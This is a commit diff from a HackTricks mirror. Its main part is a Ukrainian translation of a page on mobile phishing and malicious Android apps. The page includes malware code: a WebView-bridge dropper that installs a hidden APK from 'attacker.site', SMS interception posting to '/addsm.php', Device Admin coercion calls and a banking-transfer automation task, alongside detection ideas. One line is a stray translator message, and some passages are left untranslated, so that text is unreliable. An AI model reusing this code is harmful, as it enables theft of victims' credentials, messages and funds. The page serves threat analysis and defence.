maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-

Browse Source
This commit is contained in:
Translator 2025-09-29 11:10:01 +00:00
parent 3fd5d361e4
commit aa831369be
4 changed files with 390 additions and 138 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

42
hacktricks-preprocessor.py
View File

@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2) logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),): def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}") # logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search: if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path return obj, path
@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"): if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder href = href+"README.md" # Fix if ref points to a folder
if "#" in href: if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path") result = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title() if result is not None:
logger.debug(f'Ref has # using title: {title}') chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else: else:
chapter, _path = findtitle(href, book, "source_path") result = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}') if result is not None:
title = chapter['name'] chapter, _path = result
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
else:
raise Exception(f"Chapter not found for path: {href}")
except Exception as e: except Exception as e:
dir = path.dirname(current_chapter['source_path']) dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href)) rel_path = path.normpath(path.join(dir,href))
try: try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href: if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title() if result is not None:
logger.debug(f'Ref has # using title: {title}') chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else: else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
title = chapter["name"] if result is not None:
logger.debug(f'Recursive title search result: {chapter["name"]}') chapter, _path = result
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
else:
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e: except Exception as e:
logger.debug(e) logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}') logger.error(f'Error getting chapter title: {rel_path}')

5
src/SUMMARY.md
View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI # 🤖 AI
- [AI Security](AI/README.md) - [AI Security](AI/README.md)

300
src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
View File

@ -1,67 +1,67 @@
# Мобільний Фішинг та Розповсюдження Шкідливих Додатків (Android та iOS) # Мобільний фішинг і розповсюдження шкідливих додатків (Android & iOS)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!INFO] > [!INFO]
> Ця сторінка охоплює техніки, які використовують зловмисники для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо). > На цій сторінці описано техніки, які використовують загрозливі актори для розповсюдження **шкідливих Android APKs** і **iOS mobile-configuration profiles** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
> Матеріал адаптовано з кампанії SarangTrap, викритої Zimperium zLabs (2025) та інших публічних досліджень. > Матеріал адаптовано з кампанії SarangTrap, оприлюдненої Zimperium zLabs (2025), та інших публічних досліджень.
## Потік Атаки ## Хід атаки
1. **Інфраструктура SEO/Фішингу** 1. **SEO/Phishing Infrastructure**
* Зареєструвати десятки доменів, що схожі (знайомства, хмарне зберігання, автомобільні послуги…). * Реєструвати десятки подібних доменів (dating, cloud share, car service…).
– Використовувати ключові слова та емодзі місцевою мовою в елементі `<title>`, щоб піднятися в Google. – Використовувати ключові слова місцевою мовою та емодзі в елементі `<title>` для ранжування в Google.
– Розмістити *обидва* інструкції з установки Android (`.apk`) та iOS на одній цільовій сторінці. – Розміщувати інструкції з інсталяції для *Android* (`.apk`) та iOS на одній цільовій сторінці.
2. **Перший Етап Завантаження** 2. **Початкове завантаження**
* Android: пряме посилання на *недодаткований* або “додаток з третьої сторони” APK. * Android: пряма посилання на *непідписаний* або «third-party store» APK.
* iOS: `itms-services://` або просте HTTPS посилання на шкідливий **mobileconfig** профіль (див. нижче). * iOS: `itms-services://` або звичайне HTTPS-посилання на шкідливий **mobileconfig** профіль (див. нижче).
3. **Соціальна Інженерія Після Встановлення** 3. **Соціальна інженерія після інсталяції**
* При першому запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу). * Під час першого запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
* Код **POSTиться через HTTP** на Командний та Контрольний (C2) сервер. * Код **POSTиться по HTTP** до Command-and-Control (C2).
* C2 відповідає `{"success":true}` ➜ шкідливе ПЗ продовжує працювати. * C2 відповідає `{"success":true}` ➜ malware продовжує роботу.
* Динамічний аналіз пісочниці / AV, який ніколи не подає дійсний код, не бачить **шкідливої поведінки** (евазія). * Динамічний аналіз Sandbox/AV, який ніколи не відправляє валідний код, не виявляє **шкідливої поведінки** (evade).
4. **Зловживання Дозволами Часу Виконання** (Android) 4. **Зловживання дозволами під час виконання (Runtime Permission Abuse)** (Android)
* Небезпечні дозволи запитуються **тільки після позитивної відповіді C2**: * Дозволи, що дають значні привілеї, запрошуються тільки **після позитивної відповіді C2**:
```xml ```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Старі версії також запитували дозволи на SMS --> <!-- Older builds also asked for SMS permissions -->
``` ```
* Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають шлях коду Java/Kotlin, який читає SMS через рефлексію ⇒ знижує статичний бал, але все ще функціонує на пристроях, які надають дозвіл через зловживання `AppOps` або старі цілі. * Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають Java/Kotlin код, який читає SMS через reflection ⇒ це знижує статичну оцінку, але залишається функціональним на пристроях, які надають дозвіл через `AppOps` abuse або старі цілі.
5. **Фасадний Інтерфейс та Збір Даних у Фоновому Режимі** 5. **Фасадний UI та збір у фоновому режимі**
* Додаток показує безпечні екрани (переглядач SMS, вибір галереї), реалізовані локально. * Додаток показує нешкідливі екрани (SMS viewer, gallery picker), реалізовані локально.
* Тим часом він ексфільтрує: * Тим часом він ексфільтрує:
- IMEI / IMSI, номер телефону - IMEI / IMSI, номер телефону
- Повний дамп `ContactsContract` (JSON масив) - Повний дамп `ContactsContract` (JSON array)
- JPEG/PNG з `/sdcard/DCIM`, стиснуті за допомогою [Luban](https://github.com/Curzibn/Luban) для зменшення розміру - JPEG/PNG з `/sdcard/DCIM`, стиснуті за допомогою [Luban](https://github.com/Curzibn/Luban) для зменшення розміру
- Додатковий вміст SMS (`content://sms`) - Опційний вміст SMS (`content://sms`)
Payloads **пакуються в архів** і надсилаються через `HTTP POST /upload.php`. Payloads пакетно zip-уються і відправляються через `HTTP POST /upload.php`.
6. **Техніка Доставки iOS** 6. **Техніка доставки для iOS**
* Один **профіль мобільної конфігурації** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у “MDM”-подібному нагляді. * Одиничний **mobile-configuration profile** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у супервізії, подібній до “MDM”.
* Інструкції соціальної інженерії: * Інструкції соціальної інженерії:
1. Відкрити Налаштування ➜ *Профіль завантажено*. 1. Open Settings ➜ *Profile downloaded*.
2. Натиснути *Встановити* три рази (скріншоти на фішинговій сторінці). 2. Tap *Install* три рази (скріншоти на фішинговій сторінці).
3. Довірити недодаткований профіль ➜ зловмисник отримує *Контакти* та *Фото* права без перевірки App Store. 3. Trust the unsigned profile ➜ зловмисник отримує *Contacts* & *Photo* entitlement без перевірки App Store.
7. **Мережева Система** 7. **Мережевий рівень**
* Простий HTTP, часто на порту 80 з заголовком HOST, як `api.<phishingdomain>.com`. * Простий HTTP, часто на порті 80 з HOST header на кшталт `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (без TLS → легко помітити). * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (без TLS → легко помітити).
## Тестування Захисту / Поради Червоній Команді ## Тестування захисту / поради Red-Team
* **Обхід Динамічного Аналізу** – Під час оцінки шкідливого ПЗ автоматизуйте фазу коду запрошення за допомогою Frida/Objection, щоб досягти шкідливої гілки. * **Dynamic Analysis Bypass** – під час оцінки malware автоматизуйте фазу введення коду запрошення за допомогою Frida/Objection, щоб дістатися до шкідливої гілки.
* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з часом виконання `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів є червоним прапором. * **Manifest vs. Runtime Diff** – порівняйте `aapt dump permissions` з runtime `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів — червоний прапорець.
* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні POST-сплески після введення коду. * **Network Canary** – налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE` для виявлення аномальних POST-сплесків після введення коду.
* **Перевірка mobileconfig** – Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перерахувати `PayloadContent` і виявити надмірні права. * **mobileconfig Inspection** – використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перелічити `PayloadContent` і виявити надмірні entitlements.
## Ідеї для Виявлення Блакитної Команди ## Ідеї для виявлення Blue-Team
* **Прозорість Сертифікатів / DNS Аналітика** для виявлення раптових сплесків доменів з багатими ключовими словами. * **Certificate Transparency / DNS Analytics** для виявлення різкого спалаху доменів, насичених ключовими словами.
* **User-Agent та Path Regex**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play. * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` від Dalvik клієнтів поза Google Play.
* **Телеметрія Кодів Запрошення** – POST 6–8-значних числових кодів незабаром після установки APK може вказувати на стадіювання. * **Invite-code Telemetry** – POST 6–8 цифрових кодів незабаром після встановлення APK може вказувати на стадію підготовки.
* **Підписування MobileConfig** – Блокувати недодатковані профілі конфігурації через політику MDM. * **MobileConfig Signing** – блокувати непідписані configuration profiles через політику MDM.
## Корисний Фрагмент Frida: Авто-Обхід Коду Запрошення ## Корисний фрагмент Frida: автоматичний обхід коду запрошення
```python ```python
# frida -U -f com.badapp.android -l bypass.js --no-pause # frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success # Hook HttpURLConnection write to always return success
@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
Цей шаблон спостерігався в кампаніях, які зловживають темами державних пільг для крадіжки індійських UPI облікових даних та OTP. Оператори поєднують авторитетні платформи для доставки та стійкості. Цей патерн спостерігався в кампаніях, що використовують теми державних виплат для викрадення індійських UPI облікових даних та OTPs. Оператори ланцюжать авторитетні платформи для доставки та підвищення стійкості.
### Ланцюг доставки через надійні платформи ### Delivery chain across trusted platforms
- Відео на YouTube → опис містить коротке посилання - YouTube video lure → у описі міститься коротке посилання
- Коротке посилання → сайт фішингу на GitHub Pages, що імітує легітимний портал - Коротке посилання → GitHub Pages фішинговий сайт, що імітує легітимний портал
- Той же репозиторій GitHub містить APK з підробленою позначкою “Google Play”, що безпосередньо посилається на файл - Той же GitHub repo розміщує APK з фальшивим “Google Play” значком, що посилається безпосередньо на файл
- Динамічні фішингові сторінки працюють на Replit; віддалений командний канал використовує Firebase Cloud Messaging (FCM) - Динамічні фішингові сторінки розміщені на Replit; канал віддалених команд використовує Firebase Cloud Messaging (FCM)
### Dropper з вбудованим payload та офлайн установкою ### Dropper with embedded payload and offline install
- Перший APK є інсталятором (dropper), який постачає справжнє шкідливе ПЗ за адресою `assets/app.apk` і запитує користувача вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі. - Перший APK — встановник (dropper), який доставляє реальний malware у `assets/app.apk` і підказує користувачу вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі.
- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після установки як інсталятор, так і payload присутні як окремі додатки. - Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після встановлення і встановник, і payload присутні як окремі додатки.
Static triage tip (grep for embedded payloads): Static triage tip (grep for embedded payloads):
```bash ```bash
@ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk"
# Or: # Or:
zipgrep -i "classes|.apk" sample.apk | head zipgrep -i "classes|.apk" sample.apk | head
``` ```
### Динамічне виявлення кінцевих точок через коротке посилання ### Динамічне виявлення endpoints через shortlink
- Шкідливе ПЗ отримує список активних кінцевих точок у простому текстовому форматі, розділеному комами, з короткого посилання; прості перетворення рядків створюють фінальний шлях фішингової сторінки. - Malware отримує plain-text, comma-separated список активних endpoints з shortlink; прості string transforms генерують фінальний phishing page path.
Приклад (санітизований): Приклад (санітизовано):
``` ```
GET https://rebrand.ly/dclinkto2 GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -128,26 +128,26 @@ String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php"); String credsPost = upiPage.replace("gate.htm", "addup.php");
``` ```
### WebView-based UPI credential harvesting ### WebView-based UPI credential harvesting
- Крок “Зробити платіж ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного кінцевого пункту всередині WebView і захоплює чутливі поля (телефон, банк, UPI PIN), які `POST`яться на `addup.php`. - Крок “Make payment of ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного endpoint всередині WebView і захоплює конфіденційні поля (номер телефону, банк, UPI PIN), які `POST`яться до `addup.php`.
Minimal loader: Мінімальний loader:
```java ```java
WebView wv = findViewById(R.id.web); WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true); wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
``` ```
### Саморозповсюдження та перехоплення SMS/OTP ### Саморозповсюдження та перехоплення SMS/OTP
- Запитуються агресивні дозволи при першому запуску: - Під час першого запуску запитуються агресивні дозволи:
```xml ```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.CALL_PHONE"/>
``` ```
- Контакти використовуються для масової відправки смс-фішингу з пристрою жертви. - Контакти перебираються для масової розсилки smishing SMS з пристрою жертви.
- Вхідні смс перехоплюються приймачем трансляції та завантажуються з метаданими (відправник, текст, SIM-слот, випадковий ID для кожного пристрою) на `/addsm.php`. - Вхідні SMS перехоплюються broadcast receiver і завантажуються з метаданими (sender, body, SIM slot, per-device random ID) до `/addsm.php`.
Схема приймача: Ескіз receiver:
```java ```java
public void onReceive(Context c, Intent i){ public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -162,9 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
} }
``` ```
### Firebase Cloud Messaging (FCM) як стійкий C2 ### Firebase Cloud Messaging (FCM) як стійкий C2
- Payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для активації дій (наприклад, оновлення шаблонів тексту фішингу, перемикання поведінки). - The payload реєструється в FCM; push messages містять поле `_type`, яке використовується як перемикач для запуску дій (наприклад, оновлення шаблонів текстів phishing, перемикання поведінки).
Приклад payload FCM:
```json ```json
{ {
"to": "<device_fcm_token>", "to": "<device_fcm_token>",
@ -186,27 +184,177 @@ case "smish": sendSmishToContacts(); break;
} }
} }
``` ```
### Hunting patterns and IOCs ### Шаблони полювання та IOCs
- APK містить вторинний вантаж у `assets/app.apk` - APK contains secondary payload at `assets/app.apk`
- WebView завантажує платіж з `gate.htm` і ексфільтрує до `/addup.php` - WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
- Ексфільтрація SMS до `/addsm.php` - SMS exfiltration to `/addsm.php`
- Конфігурація, що отримується через короткі посилання (наприклад, `rebrand.ly/*`), що повертає CSV кінцеві точки - Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
- Додатки, позначені як загальні “Оновлення/Безпечне оновлення” - Apps labelled as generic “Update/Secure Update”
- FCM `data` повідомлення з `_type` дискримінатором в ненадійних додатках - FCM `data` messages with a `_type` discriminator in untrusted apps
### Detection & defence ideas ### Ідеї виявлення та захисту
- Позначати додатки, які інструктують користувачів вимкнути мережу під час установки, а потім завантажити другий APK з `assets/`. - Позначати додатки, які просять користувачів вимкнути мережу під час інсталяції, а потім side-load другого APK з `assets/`.
- Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + платіжні потоки на основі WebView. - Сигналізувати при кортежі дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
- Моніторинг виходу для `POST /addup.php|/addsm.php` на не корпоративних хостах; блокувати відомі інфраструктури. - Моніторинг egress для `POST /addup.php|/addsm.php` на некорпоративних хостах; блокувати відому інфраструктуру.
- Правила мобільного EDR: ненадійний додаток, що реєструється для FCM і розгалужується на основі поля `_type`. - Правила Mobile EDR: untrusted app, що реєструється для FCM і розгалужується по полю `_type`.
--- ---
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – Кейс RatOn
Кампанія RatOn banker/RAT (ThreatFabric) — конкретний приклад того, як сучасні mobile phishing операції поєднують WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), захоплення crypto wallet та навіть NFC-relay orchestration. Цей розділ абстрагує повторно використовувані техніки.
### Stage-1: WebView → native install bridge (dropper)
Атакувальники відображають WebView, що завантажує сторінку атакуючого, і інжектять JavaScript interface, який надає доступ до native installer. Натиск на HTML-кнопку викликає native code, який встановлює second-stage APK, вбудований у assets дроппера, а потім одразу його запускає.
Мінімальний патерн:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}
```
Я не бачу вмісту сторінки. Будь ласка, вставте HTML/markdown, який потрібно перекласти. Я перекладу видимий англомовний текст українською, залишаючи без змін код, теги, посилання, шляхи, назви технік та інші елементи, зазначені у ваших інструкціях.
```html
<button onclick="bridge.installApk()">Install</button>
```
Після встановлення dropper запускає payload через явний package/activity:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Hunting idea: недовірені додатки, які викликають `addJavascriptInterface()` і відкривають installer-like methods для WebView; APK, що постачає вбудований вторинний payload у `assets/` і викликає Package Installer Session API.
### Воронка згоди: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 відкриває WebView, який містить сторінку “Access”. Її кнопка викликає exported method, що переводить жертву до налаштувань Accessibility і просить увімкнути rogue service. Після надання, malware використовує Accessibility, щоб автоматично натискати кнопки в наступних діалогах runtime permission (contacts, overlay, manage system settings тощо) і запитує Device Admin.
- Accessibility програмно допомагає приймати подальші запити, знаходячи кнопки типу “Allow”/“OK” в node-tree і відправляючи кліки.
- Перевірка/запит дозволу overlay:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
```
Див. також:
{{#ref}}
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Overlay phishing/ransom через WebView
Оператори можуть надсилати команди, щоб:
- відобразити full-screen overlay з URL, або
- передати inline HTML, яке завантажується в WebView overlay.
Ймовірні застосування: coercion (введення PIN), відкриття wallet для перехоплення PIN, ransom-повідомлення. Передбачте команду, яка перевіряє та забезпечує наявність дозволу overlay, якщо його бракує.
### Remote control model – текстовий pseudo-screen + screen-cast
- Низька пропускна здатність: періодично дампити Accessibility node tree, серіалізувати видимі тексти/ролі/bounds і відправляти на C2 як pseudo-screen (команди на кшталт `txt_screen` для одноразового, та `screen_live` для безперервного).
- Висока деталізація: запитати MediaProjection і запускати screen-casting/запис за запитом (команди на кшталт `display` / `record`).
### ATS playbook (автоматизація банківського додатку)
Отримавши JSON-завдання, відкрити банківський додаток, керувати UI через Accessibility, комбінуючи текстові запити та натискання по координатах, і ввести платіжний PIN жертви, коли буде запитано.
Приклад завдання:
```json
{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}
```
Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "Нова оплата"
- "Zadat platbu" → "Ввести платіж"
- "Nový příjemce" → "Новий одержувач"
- "Domácí číslo účtu" → "Номер внутрішнього рахунку"
- "Další" → "Далі"
- "Odeslat" → "Надіслати"
- "Ano, pokračovat" → "Так, продовжити"
- "Zaplatit" → "Сплатити"
- "Hotovo" → "Готово"
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
### Crypto wallet seed extraction
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
### Device Admin coercion
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
- Негайне блокування:
```java
dpm.lockNow();
```
- Примусово зробити поточні облікові дані недійсними, щоб змусити зміну (Accessibility перехоплює новий PIN/пароль):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- Примусово перейти на розблокування без біометрії, вимкнувши біометричні функції keyguard:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Note: Багато контролів DevicePolicyManager вимагають Device Owner/Profile Owner на сучасних Android; деякі OEM-збірки можуть бути менш строгими. Завжди перевіряйте на цільовій ОС/OEM.
### NFC relay orchestration (NFSkate)
Stage-3 може встановити та запустити зовнішній модуль NFC-relay (наприклад, NFSkate) і навіть передати йому HTML-шаблон, щоб підказувати жертві під час реле. Це дозволяє здійснювати безконтактні cash-out за карткою при фізичній присутності разом з online ATS.
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Operator command set (sample)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
- ATS: `transfer`, `check_limit`, `limit`
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### Detection & defence ideas (RatOn-style)
- Шукайте WebViews із `addJavascriptInterface()` що відкривають методи інсталятора/дозволів; сторінки, що закінчуються на “/access” і викликають Accessibility-підказки.
- Сигналізуйте про додатки, які генерують високоінтенсивні Accessibility жести/кліки незабаром після надання доступу до сервісу; телеметрія, що нагадує дампи Accessibility node, відправлені на C2.
- Моніторте зміни політик Device Admin в ненадійних додатках: `lockNow`, закінчення терміну пароля, перемикання функцій keyguard.
- Сигналізуйте про MediaProjection-підказки від некорпоративних додатків, за якими слідують періодичні завантаження кадрів.
- Виявляйте інсталяцію/запуск зовнішнього NFC-relay додатка, ініційованого іншим додатком.
- Для банкінгу: впровадьте позаканальні підтвердження, прив'язку біометрії та ліміти транзакцій, стійкі до автоматизації на пристрої.
## References ## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
